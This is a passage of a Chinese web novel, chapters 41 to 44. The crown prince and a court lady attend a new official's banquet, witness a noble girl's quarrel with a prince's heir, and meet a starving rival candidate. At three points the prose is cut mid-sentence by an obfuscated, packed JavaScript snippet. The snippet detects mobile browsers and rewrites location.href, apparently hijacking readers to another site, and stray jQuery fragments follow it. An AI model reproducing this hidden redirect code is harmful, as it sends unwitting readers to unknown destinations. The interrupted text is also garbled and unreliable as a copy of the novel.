刘之衍点头:“给我满上。”
应子清狐疑:“你这是什么意思?你让我给你试酒?帮你尝尝味道?”
刘之衍没理她,兀自端了酒杯喝了:“等谢言昭中了中书舍人一职,他会在平康坊的映月楼摆宴。要不了几天,他会给我递帖子。”
“定了吗?”应子清不禁想起那个叫窦知微的人。
“若是没有意外,比如一封荐举书,那就是定了。”刘之衍夹起一片炙羊肉,送到应子清面前,“要不要尝尝?”
应子清:“……不尝!你趁早吃完,放我去吃饭。”
规矩是这样,伺候就是伺候,两人偶尔坐下一起吃饭,但总不能次次没规矩。
刘之衍便想了这个办法喂她。
转没两日,谢家果然派人来送帖子。
41. 第 41 章
应子清会骑马,刘之衍弃了慢吞吞的马车,带了五个护卫,一行人利落地纵马而去。
那日应子清独自骑了绯云骢,一路来回,骑的小心翼翼。跑了一圈下来,她慢慢有了经验,觉得骑个马,不算难事。
今日和刘之衍并驾而行,方知原来他们骑马,讲究的不止是驱马而行,还有马背上的风姿。
君子六艺,礼乐射御书数。刘之衍占了音乐,御马骑射,恐怕数学也难不倒他。不知不觉,她给他安个学霸的外号。
应子清羡慕他们把马骑的那么帅,但她这个新人和骑马高手一起,能赶上他们的速度,已经不错,暂时不追求什么风姿了。
刘之衍看出她眼里的渴望,当即教她几个注意事项。
骑在马背上的感觉很颠簸,重心不稳。心里存了害怕,身姿就会畏首畏尾,放不开,风姿怎么都不会好看。应子清听从他的指导,用力夹紧马腹,觉得没那么晃了,她慢慢尝试抬头挺胸。
拉缰绳的时候,应子清的下巴高高扬起,渐渐有了那种骑在马背上,睥睨潇洒之态。
“做得很好。”刘之衍称赞。
“是你不吝赐教,教之有方。”应子清看着他,认真道谢。
刘之衍教导她射箭与骑马,从未有过不耐烦,这份感激之情,她铭记在心。
“是吗?”刘之衍笑了声,不太满意,“只是嘴上谢我?”
应子清嘴唇抿着,白玉般小脸裹在狐裘里,闷不吭声。
刘之衍扫了她一眼,淡淡揭开:“说着玩的。”
果然按下不再提。
他这么说,应子清心里反而更加在意。
可刘之衍说了揭开,就不再纠缠,也不再看她。
赶路重要,应子清只得注意眼前的路。
然而,这个算不得什么,可存在感很高的插曲,莫名梗在她心头。
映月楼和别的酒楼不同,占地面很大,把一块浅浅的池,用围墙给圈了进来。长安城的井泉不多,偏偏这里有一泉活水,因而显得这方池水格外珍贵。
夏日的夜里,澄净水面,映着静静一轮月亮,故而得了个映月楼这个名字。
映月楼楼高百尺,矗立于街头。
朱红楼宇,窗格雕花刻着细密云纹,描金画银的彩幡从楼宇间翩翩垂下,地面铺了锦绣瑞纹毡毯。
甫一进门,便闻见阵阵浓香,不太常见的香气,听说是从异域来的,沙漠上艳丽硕大的食人花结的果实,磨制而成。原是食人花引诱野兽用的,因而有股靡艳惑人的妖娆之气。
映月楼应当是很大的,里面的人太多,摩肩接踵,显得拥挤。
天色还亮,楼内的灯烛点得辉煌璀璨,喧闹如沸,端的是一派花团锦簇奢靡富丽之景。
弦管乐声锵锵,场中富丽堂皇的芙蓉花台,有一群胡姬在跳舞。
真的是胡姬,高鼻深目,妆容艳丽,举手投足皆是风情。
胡姬梳着飞仙髻,细腰间系了朵朵铜铃铛,每一次舞动,叮铃铃地响。她们雪白双臂缠绕火红轻纱,乐声进展到高声,火红轻纱被胡姬们,齐齐抛入空中,又如霞云般摇曳坠下。当真如腾焰飞芒,霞光万道。
应子清和那些宾客们一般,被吸引得目不转睛。
刘之衍心里觉得好笑,陪她多看了一会。
芙蓉花台那样热闹,胡姬们忽然停一停,乐声有一瞬的凝滞。
众位宾客不解其意,纷纷转向门口。
以谢言昭为首的几位年轻人,鱼贯而入。
几位少年面容俊秀,举止间自带文雅,细看又能察觉到,他们的眉眼不经意流露的高傲。这群少年身姿挺拔,身穿锦袍,腰间佩的不是白玉就是翡翠,一看便知他们矜贵身份。
谢言昭是今天的主人,却穿了身藏青,衣纹绣了墨竹,很是谦逊。他的面容也是一团和气,恬然明净。一双温柔眼眸,透着坚定明亮的光泽,与他对视时,会生出一种光明磊落的好感。
应子清默默想到,不愧是刘之衍点评为“光明正大”的人。
刘弘煦也在这群人里,他看着应子清,唇边噙着淡淡讽刺。
刘之衍亲自到场,谢言昭自是蓬荜生辉,面容有光。只是太子的身份贵重,谢言昭寒暄过后,毕恭毕敬的,将刘之衍一行人请到雅室安坐。
雅室在二楼,映月楼最好的位置,视野最好。看台挂了层层叠叠的轻纱,可以从这里可以看芙蓉花台舞姬们跳舞,看宾客们喝酒作乐,而不被人察觉,私密性极佳。
谢言昭把刘之衍请到上座,一众美姬轻纱罗裙,蜂拥而进,端酒放菜,又说又笑。
有一女郎掩唇笑道:“谢郎把谁带来了?通身尊贵,看着又是这样的眼生?”
映月楼是长安城闻名的酒楼,这些世家公子小姐,连世子郡主,必定是来过的,她们也都眼熟。
今日,这位坐上座的贵公子,仿佛横空出世,她们竟是第一次见。
谢言昭自是不敢抖出刘之衍的身份,只说:“尔等以礼相待,休得聒噪,但凭他差遣就是了。”
他言语里的有警醒,叫美姬们心中惴惴。
其实不必谢言昭多说,看着面容冷冽的刘之衍,她们根本不敢贸然上前调笑。那些侍卫,个个面色如冷铁,在刘之衍身后一字排开,扶刀而立,比大理寺执法办案的官差还要可怕。
独独应子清一个女客,看着温柔可亲。
外面还有新来的客人,谢言昭要出去招呼,他跟刘之衍告了退,转身出去。
众美姬扶了扶艳丽披帛,看看这个,瞧瞧那个,最后都围在应子清周围,拉着她笑:“好娇俏的小娘子,皮肤怎生得这么白,这样的细腻柔滑,用的哪家的粉?”
都是女子,美姬们素来热情外放,大胆伸手,在应子清脸上一摸:“呀?没擦粉?”
另一美姬听了,不信,在应子清唇间一擦:“口脂也没有?”
“我只当小娘子妆容素淡,谁知道只淡扫了蛾眉!”
“哪里像我们,涂脂抹粉,还觉得自己很美!”
“你的罗裙是哪家裁缝做的?远看普通,细看有一番道理,我怎么没有见过?”
“小娘子,喜甜还是嗜酸?来,奴家喂你喝酒!尝尝我们这里的酒如何?”
这些劝酒的美姬,行酒令射覆飞花令,样样精通,绝不会让气氛冷下来。美姬亲亲热热,又爱闹腾笑骂,说了好些京中女
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815474|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子流行的红妆衣裳,外带各家的小八卦。
她们浑身香气,身段柔软,应子清给她们弄得脸红耳热,心里却觉得轻松开心。
眨眼间,应子清给她们灌了几杯酒下去,脸颊浮了红。
刘之衍脸色不好看,把手中的酒杯一放:“你们出去,让我们自便。”
众侍卫冷酷的眼神下,美姬们惊得点头称是,悄然退场。
“我看你倒适应得挺快。”刘之衍淡淡瞥她。
美酒入喉,胆气两边生,应子清目光炯炯:“出来玩,就是要开心啊!”
刘之衍:“……”
帮忙炒气氛的人全走了,雅室冷冷清清,刘之衍反而怡然自得。
应子清自己斟酒,喝了几口:“你不是出来玩,为什么特意跑一趟?”
刘之衍起身,走到看台边,撩起轻纱一角:“有时候,亲眼看到的,比听消息强。”
“你看到什么?”应子清来到他身边。
刘之衍看着一楼人群拥挤的某处,不动声色:“我知道谢凝荷心仪刘弘煦,却不知道,谢言昭与安景王世子的关系,也这么好。”
应子清顺着他的视线看过去。
谢言昭站在一桌案前,他带着笑,与席间的几位客人说话。
刘弘煦站在谢言昭身后,目光放空,神情有点淡,看着像是百般无聊。
为何觉得无聊,还站在这里,不自己找乐子去?只因为,刘弘煦要与谢言昭这个主人一同作陪,招待宾客。
唯有关系好的朋友,才会如此。
应子清眨了下眼,心里浮起说不上来的复杂情绪,那是一种山雨欲来风满楼的不安感。
“他们这些人,从小一起到大,结交朋友也没什么吧?”应子清说。
可是,却不见刘之衍有什么朋友。
看着刘之衍淡然的侧脸,应子清心里那股莫名低落的情绪,又重了几分。
应子清忽然建议:“刘之衍,难得出来,光在这里坐着也没意思,我们下去玩吧?”
“怎么玩?”刘之衍回头看她。
应子清的意思,他们在酒楼里随便逛逛,或者出去,看看夜市也行。可刘之衍今日参加宴会,通身锦缎华服,人模狗样的,一看就是非富即贵,不论走到哪里都招人眼球。要是被认出身份,对方必定战战兢兢,哪里能玩得舒服。
应子清眉梢一挑:“让他们给你换身衣服!”
侍卫很快出去回来,给刘之衍找身看似普通,质量又不太普通的圆领袍衫。他头发上的玉冠,也换成普通的发冠,看着像富家公子哥儿。?
“行了!”应子清满意道,“我们出去吧!”
那些侍卫留在雅室休息,装作太子本人还呆在这里的样子。
应子清与刘之衍一同下了楼,映月楼那方有名的池子积了雪,没什么好看的,两人商量着要不要留在楼里。
回廊,挂着纱幔的红柱后,娇滴滴的女声动气道:“那日我听见安景王酒后说,要给你找一桩婚事,我仿佛听到他提到‘谢家女’,只是不真切,你为何拦住他不说了?王爷是不是提的我们谢家?”
刘弘煦不耐烦,凉凉道:“你听错了。”
42. 第 42 章
谢凝荷进一步上前,堵住刘弘煦想溜走的路线:“我不可能听错,说的就是我们谢家。”
刘弘煦偏过头,没有回答,暧昧的灯光落在他冷白清俊的脸上,照出少年桀骜的凛冽感。
谢凝荷看得眼睛微微睁大,心跳得有些快。
他永远那么好看,又难以接近。
每回谢凝荷主动找刘弘煦说话,因着哥哥谢言昭的关系,刘弘煦才没有走掉。
刘弘煦很敷衍她,总是不拿真话回答她,像敷衍好朋友家里那个不懂事的妹妹。
可是,他也不会对她说狠话,总是留有余地。
即使拒绝她,比如不接受她的礼物,也会找一些理由。
虽然那些理由,可笑得紧。
但就是这样,总让谢凝荷觉得,刘弘煦不讨厌她。
是不是她再努力一点,或是表现得再明显一点,刘弘煦就会察觉到她对他的喜欢?还是刘弘煦嫌她没有长大?不够漂亮?又或是……
谢凝荷咬住殷红的嘴唇:“我跟太子哥哥并没有什么,这点你知道的。”
刘弘煦目光闪了下,仍然没有说话。
“去骊宫赴宴的时候,圣上和太后是问过我几句,但皇后似乎不同意。”谢凝荷瞧着他,气闷道,“但,就算我爹我娘他们全答应了,我也不会同意。只要我不答应,谁也没办法逼着我嫁人。”
刘弘煦看着她片刻,冷淡道:“做太子妃有什么不好。”
最近谁说这句话,都令她火大,何况这人是刘弘煦!谢凝荷更加气闷,反驳说:“世人觉得是好东西,我非得觉得好吗?我偏偏不喜欢!”
刘弘煦摇了摇头:“你还小,容易意气用事。”
谢凝荷眼底汪出一线泪水:“家里的婶婶姨姨天天议论我的婚事,连圣上也说我及笄,刘弘煦,我早就不小了!”
刘弘煦负手,静静看她落泪,他心里有不忍,可到底没伸手替她拭泪。
谢凝荷黑亮浑圆的大眼睛,慢慢发了红,泪珠盈睫,啪得落了好几颗眼泪。巾帕也不用,她随手拿衣袖擦掉,抽抽鼻子:“刘弘煦,嫁人是一锤子买卖的事!”
刘弘煦:“……”
哪有未出阁的姑娘,张口闭口就是嫁人,好像她恨嫁似的。但她有什么办法,全天下只有她一个心急火燎,所有人都在讨论谁想娶她,她总听不到最想听的名字。
谢凝荷悲愤交加:“我要是嫁给别人,就回不了头了。”
话说到最后,谢凝荷心里灰了一片。
偏偏眼前这个人,最是无动于衷。
刘弘煦仍是冷淡:“别乱想,谢言昭不会让你吃苦受罪,再有什么,他会给你撑腰。”
许是觉得失望,谢凝荷的眼泪渐渐止住,她轻声问:“王爷有没有提及过谢家?”
刘弘煦狭长英气的眼睛,认真看着她:“没有。”
谢凝荷又落了颗泪,她抬起绫罗广袖,随手抹掉:“刘弘煦,你老实告诉我,你们家是不是有心仪的小姐?”
见她总是纠缠这个,刘弘煦已生不耐:“打听我父王母妃的想法没有用,我的世子妃,只能由我挑选。”
这就是说,世子妃的人选,连安景王也说了不算,刘弘煦看上谁才是谁。
谢凝荷狠狠怔住,颤着声音,连说了几个“好”。
“刘弘煦,你会后悔的!”谢凝荷好不容易止住的眼泪,断了线似的掉。她不顾形象,上前用力一踩刘弘煦的鞋面,回身匆匆跑了。
刘弘煦没有追上去,他望着谢凝荷离去的背影,渐渐垂下眼,长睫遮住他眼底的忧郁。
掀开门帘出去,宜人的暖和瞬间消退,刮人的冷风扑面而来。
应子清微微仰头,雪粒子轻轻落在脸上。
两人各怀心事,都很默契地没提刚才看到的一幕。
天色渐晚,雪停了,稀薄的云在空中拉扯着。
平康坊街上的门店,灯光挨个亮起。
没走出几步,应子清便看到卖香粉胭脂的店铺。进去一看,刚才美姬们说的蔷薇香,雪肤粉,沁芳膏,这些流行货全有。
店面虽然小,胜在齐整干净,桌案上摆的是样子品,若是要买,伙计会从库房里拿。
应子清一个个看过去,读着漂亮雅致的名。
刘之衍随手拿起一盒眉黛,应子清探过头,煞有介事:“你别拿了就跑,这不是皇宫,买东西要付钱的。”
刘之衍:“……”
他当然知道,又不是开天辟地第一次出门。
应子清显然认为他没常识,笑得很得意:“你带钱了吗?”
刘之衍带了,可是他觉得,若是他说没带,应子清应该会很开心,因而一本正经道:“要带钱吗?带多少?”
“嘿嘿,我就知道你没带。”应子清果然高兴,一双漂亮眼眸,笑得眼波流转,“跟我走,今天我请客!你要买什么,我给你付钱。”
刘之衍静静看她,心中微动。
然而,应子清掂了掂小荷包,感觉有点轻。刘之衍看多了好东西,眼界高,品味好,万一看上太贵的东西怎么办。应子清赶紧给自己的话,打个补丁:“可不许买贵的,都是我辛辛苦苦攒下的月钱呢。”
“好,”刘之衍笑起来,“我掂量着。”
店里的伙计擦着手,忙忙跑来,热心介绍他们家的脂粉。
应子清一听,这些细腻白净香粉都含了铅,只得敬而远之。
不过应子清买了两盒店家自制的口脂,还有两盒据说是从天竺传来的眉黛。
刘之衍微微挑眉:“只挑这么点?”
若是应子清喜欢,宫中有极好的,但刘之衍忽然想起,他的宝库里,还真没有这些。他一时有些犯愣,觉得是不是该了解一下闺房会用到的东西。
应子清把东西收起来,解释:“给香巧和语兰买的,一人一个。流行的小玩意儿,她们多半喜欢。”
今天不是什么节日,街道拥挤不堪。
稍微一打听,原来是骆驼商人入城,运送货物回长安。运了一天一夜,到此刻还没运完。
浑身披着麻布斗篷的商人们,帽檐遮住半张脸,牵着一根长绳。长绳系着一个接一个的背着沉重箱笼的骆驼。蹄子沉重地踩在薄雪上,一步一个脚印地走。
漫长的骆驼队伍,占去大半个街道。
应子清懒得等他们过去,当即逆着人流群,擦着众人的肩膀,往前走。
人太挤太多,没办法聊天,两人一个劲儿地跟人群作对抗。
应子清兴致勃勃,左看看右看看,随意买些吃食。刘之衍跟在她身后,他不惯与这么多人挨挤,走得有些慢。
不一会,应子清手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818893|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里抱着胡麻饼,提着一串牛皮纸包裹的牡丹糕,玉露团。等她手里支着两串冰糖葫芦,转过身,竟和刘之衍走散了。
应子清忙着找人,冷不防,和一个男人撞上,手里的一堆糕点,统统落在地上。
“哎。”应子清失声叫道。
“抱歉抱歉!”那少年的声音,听起来比她还着急。
两人一齐蹲下去,拾那牛皮纸装的糕点。
“是你。”应子清看他,认出是那日,在安景王王府碰见的少年。
那双可怜兮兮、含嗔含怒的小狗眼,令人印象深刻。
少年并未觉得凑巧,反而浑身一抖,匆匆忙忙把糕点捡起来,还给应子清:“抱歉,是我没看路。”
应子清失笑:“好端端的,怎么感觉你怕我。”
“你是太子身边的人。”窦知微抬起眼,和她对视一刹,又迅速低头。
应子清愣住。
大街上随便碰到一个人,就被点出身份,实在惊悚。
少年手脚利落,把糕点全堆在她手上。
应子清琢磨了下,一手提起牡丹糕,一手拿过玉露团,递给他:“东西买多了,我拿不下了。你吃饭了吗?吃了也没关系。你喜欢吃哪个口味?送你,你带回家吧。”
少年呆愣住,没有接。
“全是刚买的,刚出炉,还热乎的。”应子清见他没反应,又说,“都是长安城最流行的糕点,你不会嫌弃吧?”
“没有。”少年抿了抿发白的嘴唇,“我今天……还没吃饭。”
“你是说没吃晚饭,还是一整天没吃?”应子清愣了下。
自己也是孤儿,跟一群孤儿长大,应子清对吃不饱穿不暖这种事,向来敏感。
少年没有回答。
应子清上下打量他,已然看出他的窘迫。
此人高高瘦瘦,这么寒冷的雪天,他身上穿的青色圆领袍衫,单薄轻盈,虽然料子看着精美,却像披了层遮羞布,远不能抵御寒冷。
少年长得极好,年纪极轻,眉眼那么讨人喜欢。可他的面色素白,透着青,像饱一顿、饿一顿的营养不良。
应子清这下不肯放过他:“走,那边有木凳,我们去那边坐着吃。”
少年许是被她的热情打动,被她拉着,没有挣扎。
两人一齐在凳子坐下,应子清拆了玉露团,塞进他的手里。怕他不愿意接受,应子清自己也吃了一个:“小点心而已,别跟我客气,你陪我吃。”
少年倒是没有拒绝,很节制地咬了口。
“你认识我,那你叫什么名字?”应子清问。
“窦知微。”那人闪躲着目光。
居然窦知微?
应子清不由想起,刚刚见到的谢言昭。那人锦衣华服,仪容气质清绝高雅。在长安城最有名的映月楼,举办初次登官的烧尾宴,出入有公子哥们前呼后拥,连安景王世子,也在旁边作陪。
与谢言昭竞争中书舍人之位的窦职位,一整天没吃饭,和她在露天地里,吃着冷掉的玉露团。
两厢对比,应子清心情复杂:“你这是要去哪?”
“去参加谢言昭的烧尾宴。”窦知微简略回答。
窦靖担心窦知微不肯去,把他困在家里,不叫人给他送饭,故意饿了他一天。
但这些话,没必要讲出来。
43. 第 43 章
落选者给中选的人庆贺?
可以想见,窦知微出现在映月楼时,其他同僚宾客心里都会嘀咕什么。
那日,窦知微接到谢言昭送来的帖子,他无所谓去不去。但不去是最好,他一露面,不就让人嚼舌根吗?
但窦靖觉得,窦知微参加烧尾宴,是代表窦家的颜面,表示虽然落选,可窦家大度不计较。因为担心窦知微不愿意参加,私自逃了出去,窦靖干脆自作主张,将窦知微锁起来。
窦知微在窦靖面前,只有乖乖听话的份,窦靖对这个儿子如唤狗,从来不听窦知微的想法。
这次出门前,窦靖还呵斥他:“瞧瞧人家谢言昭,再看看你!你若是真聪明,怎么会落选?没见识的东西,别人夸你几句,就飘得不知道自己姓什么!最后还不是我替你收拾残局!丢人现眼!”
“去!老老实实给我去!”窦靖越说越生气,把茶碗摔到窦知微面前,摔得四分五裂,“你要记住,你代表的是窦家的颜面,不要让我听到你又做出什么窝囊事!”
窦知微只得空着手,饿着肚子出了门。
出门时,天上下着雪。
窦知微饥寒交迫,路途又远,走路走得头晕眼花。
撞上应子清,是他饿得发了昏的缘故。
应子清拆了纸包,把胡麻饼给他,窦知微没有客气,接过来三五口,吃了大半:“谢谢,将来我会还给你。”
应子清失笑:“还给我什么?胡麻饼吗?”
“这不一样。”具体什么有不同,窦知微没解释。
窦知微吃得不急,挡不住那些糕屑落在青袍上,他一看,连忙站起来弄干净,语气有些慌乱:“对不起!我弄脏了,我会注意的!”
“?”应子清有点愣,“那怎么了,你跟我道歉什么。”
“我不是故意的。”窦知微仍然觉得窘迫。
这么大反应,很不正常,应子清眨了下眼:“你是不是不喜欢脏东西?一碰上就觉得恶心?”
“不是……”窦知微看她。
哦,不是洁癖?那就是另有原因?
应子清若无其事,宽慰他说:“衣服上弄了脏东西,很正常的,谁都会发生这种事,不用觉得不好意思。”
“你不觉得……”窦知微看着她,小心翼翼试探,“你不觉得我这样,招人讨厌吗?”
应子清听出他话里浓浓的自卑,颇为诧异:“啊?”
弄脏衣服就招人讨厌?这是什么古怪想法?
窦知微垂下眼睫,离她很远的地方坐下。
应子清自然不觉得他讨厌,她忽然回忆起,窦知微两次跟她见面,都是以道歉开场。好像他不论做什么,都觉得错的人是自己。
这么一想,应子清猜测,窦知微恐怕过得极差。可是,她不好跟刚见面的人交浅言深,只好挑轻松话题,岔开道:“你长得这么可爱,怎么觉得自己讨人厌啊?”
窦知微诧异抬眼,满脸不信。
应子清揣摩着,是不是这个时代,对男人的审美标准,是那种浓眉大眼、儒雅大气的帅,而不是这种乖巧可爱型的。
她说“可爱”两个字,说不定觉得是在骂他?
应子清笑了:“男人长成你这样子,是不是吃亏?其实,我们女子会觉得你可爱,容易亲近。”
“这不是可爱,是可怜。”窦知微目光安静,嘴角微微上扬,微微讽刺,“别人都说,我亲生母亲,就是用这幅可怜相,引诱我的父亲。他们说,连我也遗传了这种可怜相。”
窦知微忍不住凑近她,心底有一股恶意肆意滋长,无法掩饰:“你听明白了吗?我亲生母亲,是个官伎。”
今天过后,少女也许会跟别人提及他,询问窦知微是谁。与其让别人添油加醋,不如由他自己说出来。而且,窦知微忽然很想知道,这个少女会作何反应。
也许,她会和那些贵女一样,露出嫌恶的表情,赶紧躲开他,像避开瘟疫。
那他会比较失望。
当然,只是一点点。
没想到他会如此剖白,应子清愣了下,也坦白承认:“我知道,有人跟我说过。”
窦知微眯起眼,眼底的光泽,微微闪动。
“你不要想太多。”应子清镇定和他对视,“出身这种事,不是我们能决定的……”
虚伪!
窦知微顿时觉得好笑:“说得好听,你是东宫应司直,哪里懂得……”
“没错,我是东宫的女官,但我叫应子清,你有听说过哪家姓应的世家吗?”既然把话说到这里,应子清干脆直截了当,目光坦然,“我是平头百姓,可是你看,我可以让自己成为什么样的人。我觉得这一点,比出身什么世家,要强得多。”
虚伪……!
窦知微仍是这么想。
可是,心里不由自主地,把她的名字,念上一遍……应子清?
见他懒得回答,应子清微微懊恼,她好像说得太正经。但她不觉得后悔,真诚永远是必杀技!她这么想,就这么说,没什么好遮掩。
不过,她没有经历过这些人的家世,自是不懂,生在世家会有什么样的困惑。窦知微觉得她想当然,也属平常。
应子清不欲过多纠结,她准备再送他几个牡丹糕,便去寻刘之衍。
人群之中,刘之衍高挑的个子显眼极了,朝他们走来。
窦知微见到太子,十分惊讶,随后他看向应子清。
“你来了!”应子清看见刘之衍,不自觉笑起来,清清凉凉的眼眸闪过一抹柔美。
刘之衍没好气,却也没有责怪,只是无奈:“你怎么乱跑。”
窦知微将两人神情变化,尽收眼底,却看不到他自己一双讨喜的大眼睛,泛着微微的冷意。
与刘之衍见过后,窦知微要去赴宴,几人在此告别。
夜晚越深,街上仍有人潮,只是不如傍晚时分的人多。
应子清买的半数糕点,全送给窦知微,只剩了几个。
刘之衍不嫌弃,一口一个,全吃了:“你们刚才在聊什么?”
应子清大概解释一番,她不由挂心:“那窦知微难道就落选了吗?”
“当然不会,”刘之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825448|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
衍解释,“吏部考核窦知微那么长时间,就是欣赏他,怎么会平白放走,我估计,他会得到一个比较偏僻的官职。”
想到窦知微的自卑与慌乱,有些叹息:“其实我觉得他人还不错。”
刘之衍笑了下,却说:“可惜他不会成为我们的朋友。”
“为什么?”应子清不解。
刘之衍神色平静:“因为他姓窦,他不可能背叛自己的家族,注定与我们形同陌路。”
“砰!砰!砰!”
无边无际的漆黑夜空,忽然一串接一串,炸开绚烂的烟火。
旖丽光点,拖着绚烂的长尾,向四面八方迸溅散射。
街上的人潮,纷纷顿足,都去看盛放的烟花。
应子清和刘之衍,并排站在道路的中间,一齐观赏夜空上的似锦繁花。
烟花是映月楼那个方向,放出来的。
知道内情的路人,无一不流露出羡慕的神色,那光彩落在他们脸上,映着心底的波澜。
谢言昭十八岁新登中书舍人,不知道今晚有多少人夜不能寐,明日的朝堂,又会有何种变化。
安景王蠢蠢欲动,谢言昭与刘弘煦是好友,窦家有个皇后在后宫虎视眈眈。
刘之衍的前景并不美妙,可以说十分凶险,但也不是没有转机。
谢家是显赫世家之一,迎娶谢凝荷为太子妃,等于把谢家的势力拉入东宫麾下,既能削弱窦家,又能牵制安景王。
她能想到的地方,刘之衍也能想到。
但,这张最好的筹码,刘之衍不要了。
她替他感到可惜,也替他忧心。
这些天,应子清思虑重重,她想的很清楚,她并不想伤害刘之衍,致他为死地。
“刘之衍,”应子清望着夜空,并没有看他,“你对朝中的事情,一清二楚,是很想坐稳东宫这个位置吧。”
刘之衍看她,等着她往下说。
“你敢不敢给我一个少傅之位?”应子清用力攥紧手,看着他说,“这个位置没有实权,但足够尊荣。”
安景王不是好相与的,如果她决心背叛安景王,她会有生命危险!
而少傅作为太傅的副手,地位不会太高,但却可以保她的命。
然而,对她来说,也是难如登天。
“我知道,别说大晋朝,就是开天辟地以来,从来没有一个内庭女官,坐过这个位置。”应子清眸光闪烁,“如果你想坐稳你的东宫之位,那就给我少傅一职,我只问你敢不敢?”
少女神色坚定,却有些微微发颤,不知道是出于寒冷,还是心中的激动。
她的声音不大,却令人震动。
刘之衍漆黑锐利的眼眸,望着她,眼中没有波动。
他想,他为应子清准备的,并不是这个。
她却要了一个,他从未想过的位置。
这是应子清第一次,直白地开口找他要东西。
刘之衍沉默片刻,神色未曾改变,依旧沉稳:“少傅?没那么容易。我想,我们得做点什么,才能让你坐的顺理成章。”
44. 第 44 章
冬季越来越深,大晋朝的元日要到了,朝廷放了假,所有正事只得暂时搁下。
骊山的温泉别宫比平常热闹,每日有流水般的车马往来,给天子一家请安问候。
沐云居外的雪,落了一尺厚。
元日应景,琉璃八角宫灯全换成大红灯笼。雪景里,檐下的灯笼红红火火,看着格外鲜亮。
那日得了应子清送的胭脂水粉,晨起,语兰精心描眉画眼。黄铜镜里的少女,拿着一块胭脂嘴唇轻,樱色嘴唇变成嫣红,比刚才多出一段风韵。语兰揭开漆盒,取出莹亮口脂,补了补色。
香巧端着水盆路过,笑话她说:“真是丑人爱扮俏!”
语兰心情不错,香巧的嘲笑,像一盆凉水浇下来,她把粉盒一关,飞了个白眼:“关你什么事!”
香巧回了个鬼脸,跑去向应子清告状:“你看看她,搔首弄姿,准是想嫁人了!这宫里除了太子,就是太监,难不成语兰想嫁给太监不成!”
此话一出,语兰当即面红耳赤,勃然大怒,扬起手追着她打。
两人嘻嘻哈哈,吵得满屋子都是笑声。
香巧拉着应子清的手,一定要她训一训语兰:“快管管她,再让她猖狂两日,她必定长成妖孽!”
应子清回过神来,看着她们笑,随口道:“若是没有规定,怎么喜欢就怎么做。”
她心思不在这上面。
越是遇上节日,越是忙得脚不沾地。
刘之衍要去各宫问安,傅太后那边必定要留他吃午饭,再陪着说笑一阵,得好晚才能回来。
应子清给刘之衍穿戴好大氅,刘之衍伸手把她的避雪帽理了一理,两人收拾好,忙忙地出去了。
一路风雪,刘之衍一双大长腿,偏偏走得极慢,他等着应子清。
应子清不是不想走快,冻硬的雪很滑,她今日穿的乌皮靴,远不如运动鞋防滑。她怕摔个屁股蹲儿,先胆怯了几分,走着路畏手畏脚。
刘之衍看着她笑,朝她伸出手:“来,我带你走。”
“不行。”应子清匆忙扫了一圈周围,幸好下着雪,侍卫也不在这站岗,“被人看见,像什么话。”
要是被人看见堂堂太子,牵着一个女官走,后果可想而知。
刘之衍依旧伸着手,没有因为她的话而退让。
他从来不把别人的话当回事。
他盯着应子清,神色坚持,应子清眨了眨眼,拗不过,把手放了上去。
刘之衍稳稳地握着她,他的手掌温暖结实,让人安心。
好像被他传递了力量,应子清微微低着头,被他带着往前走。
再次路过那条佛像画廊似的走廊,应子清已经平常,倒是看多了,慢慢欣赏起起画师的画技,怒目金刚,慈眉善目的菩萨,那线条那色彩,画得真是绝美,多一笔嫌多,少一笔又觉得空。
进了门,应子清照例是往角落一藏,把刘之衍拱出去,他才是主角。
这日静宜苑还是那么熙攘拥挤,赵王妃带着刘驰骞也来了。
谢家的贵妇拘着谢凝荷,让她半跪坐在太后的脚踏。
谢凝荷一脸安静,看着没什么生气,没了平日里的活泼劲儿。
刘之衍进门,谢家的贵妇们眼神一亮。
傅太后招招手,叫刘之衍坐近点。
逮着这个机会,谢家的贵妇们妙语连珠,说了不少太子与谢凝荷小时候的事,把两人形容成青梅竹马,天生缘分。
康公公端茶进来,谢家贵妇推推谢凝荷,让她去接了送到太子面前,在刘之衍面前多表现表现。
谢凝荷神色恹恹的,不理不睬。
谢家贵妇叫不动,尴尬笑着:“这是姑娘大了,知道礼了。”
傅太后端起瓷白的茶碗,不言不语,冷嬷嬷得了她的示意,笑着叫大家留下来吃饭。
谢家的人见傅太后对婚事的态度,较之前冷淡许多,心里都打了突。不够沉稳的女眷,心情发沉,脸色也变难看了。
吃完饭,谢家人自觉留不住,知情识趣纷纷告退。
傅太后没有挽留,倒是开了金口,让谢凝荷在她这里多住几天。
谢家人口中称谢不止,知道这是给谢凝荷留颜面,小姑娘还是很招傅太后喜欢的。
